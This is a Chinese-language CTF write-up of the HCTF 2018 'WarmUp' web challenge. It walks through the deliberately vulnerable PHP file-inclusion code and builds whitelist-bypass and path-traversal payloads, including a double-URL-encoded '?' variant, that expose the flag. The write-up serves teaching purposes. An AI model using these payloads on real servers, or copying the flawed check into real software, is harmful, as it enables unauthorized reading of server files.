[HCTF 2018]WarmUp

发布时间 2023-07-15 21:50:25作者: y0Zero

[HCTF 2018]WarmUp

题目来源:buuctf

题目类型:Web

设计考点:PHP代码审计、文件包含

1. 题目上来只有一张滑稽图片,查看源代码,发现有source.php文件

image-20230715201745123

2. 我们进入source.php,可以看到如下代码:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

先介绍一下几个基本函数,方便我们后续解题:

highlight_file():对文件进行 PHP 语法高亮显示(对解题没什么影响)
isset():用于检测变量是否已设置并且非 NULL
is_string():用于检测变量是否是字符串
in_array(A,B):搜索B数组中是否包含A这个值
mb_substr(A,B,C):将A字符串从B截断到C,区间为[B,C),左闭右开;例如mb_substr("hello",0,2),则返回的值为"he"
mb_strpos(A,B):返回A字符串中出现B字符串的第一个位置;例如mb_strpos("abc","bc"),则返回值为1
urldecode(A):对A字符串进行url解码
empty():检查变量是否为空
$_REQUEST变量可用来收集通过GET和POST方法发送的表单数据
include可以将PHP文件的内容插入另一个PHP文件,include只生成警告,并且脚本会继续
A.B表示将A、B两字符串拼接

3. 接下来我们依次分析这段代码的各个部分

  • 主要部分:
if (! empty($_REQUEST['file'])		//表单数据是否非空
        && is_string($_REQUEST['file'])		//表单数据是否是字符串
        && emmm::checkFile($_REQUEST['file'])		//emmm类中checkFile方法返回是否为true
    ) {
        include $_REQUEST['file'];		//将表单数据中的PHP文件插入当前PHP文件(即回显到当前页面)
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";		//页面回显一张图片
    }  

这段代码要求我们传入一段字符串给file,当file通过emmm类中checkFile方法之后,页面即可回显我们需要的信息

  • emmm类:
class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //创建了一个关联数据,注意source和hint为键,source.php和hint.php为值
            if (! isset($page) || !is_string($page)) {	//若page变量未被定义或不是字符串
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {	//若在whitelist数组中存在page的值
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')	//返回page变量中第一次出现'?'的位置,若没有出现则返回page的末尾位置
            );	//将page从0到截断处的内容赋给_page
            if (in_array($_page, $whitelist)) {	//若在whitelist数组中存在page的值
                return true;
            }

            $_page = urldecode($page);	//将page变量url解码后赋值给_page变量
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );  //与上面同理
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

这个类存在四个if条件判断,我们依次分析:

  1. 第一个 if 用于判断page是否为空,当我们没传入任何参数时,页面回显就是那张滑稽图片;
  2. 第二个 if 用于判断page的值在不在白名单里面,白名单有 source.php 和 hint.php ,hint.php我们一会查看;
  3. 第三个 if 是在page截断后赋值给 _page,再判断 _page的值在不在白名单里;
  4. 第四个 if 是先将page进行url解码后赋值给 _page,再做截断和判断。

4. 分析完代码之后,我们先查看下hint.php(这个在代码中提示我们了)

image-20230715211917049

5. 题目告诉我们flag在ffffllllaaaagggg中,我们开始构造payload

​ 首先我们思考,当传入参数为source.php和hint.php时,页面均可正常回显,但并不是我们想要的信息。我们考虑向source.php里进行get传参。基本结构如:?file=source.php/ffffllllaaaagggg

​ 但这样显然过不了第三个 if,我们在 source.php 后面加上 '?',构造如:?file=source.php?/ffffllllaaaagggg,将该 payload 提交,可以通过checkFile方法,但页面无 flag 回显。因此我们再深入尝试,不断往目录下层搜索,最终得到的payload如下:

?file=source.php?../../../../../ffffllllaaaagggg

​ 提交上去,最终得到了flag:flag{00498122-d651-489d-a7ac-a92c1a18882d}

image-20230715213219661

6. 存在的一些问题

​ 虽然题目是写完了,但是肯定有小伙伴要问了,第四个 if 的作用在哪呢?确实,我们通过第三个 if 之后,flag就可以出来了,个人认为是出题人没考虑到这点,想用第四个 if 考一下两次url解码操作。

​ 那我们这里考虑到第四个if,构造的payload如下:

?file=source.php%253f../../../../../ffffllllaaaagggg

%253f 即对 '?' 进行两次url编码,在参数传入服务端的时候解码一次,urldecode解码一次就会回到 '?'

日期:2023.7.15

作者:y0Zero